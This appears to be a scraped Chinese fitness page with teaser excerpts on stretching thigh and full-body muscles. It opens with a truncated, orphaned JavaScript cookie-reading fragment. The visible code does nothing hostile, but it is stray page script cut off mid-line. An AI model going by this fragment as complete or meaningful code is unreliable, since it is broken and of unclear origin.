function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1″)+"=([^;]*)"));return U?decodeU

繼續閱讀▼

筷子腿拜拜，现在流行“蜜大腿”，但是自己的大腿不是渾圓的蜜大腿，而是向金剛芭比一樣，一球一球的肌肉，那是因為肌肉緊繃所造成的唷! 所以我們來伸展放鬆，不管你是站著坐著還是躺著，都可以伸展大腿的肌肉，朝著蜜大腿邁進吧!

坐著運動(伸展大腿內側肌群):

保持坐姿，兩腳底靠攏，讓腿放鬆朝向地板，兩手握

繼續閱讀▼

全身肌肉緊繃卻不知道怎麼伸展嗎? 照過來!照過來!教你八個簡單步驟，讓你的肌肉服服貼貼不再和你做對。

1. 雙手反扣，將雙手向天空延伸，拉開背部的肌肉。
2. 跪在地上後將屁股往後坐，雙手向前延伸。
3. 單腳站立，將腿向上拉。
4. 坐在地上，一隻腳伸直一隻腳彎曲，此時會伸展到大腿後側和屁股的肌肉。

繼續閱讀▼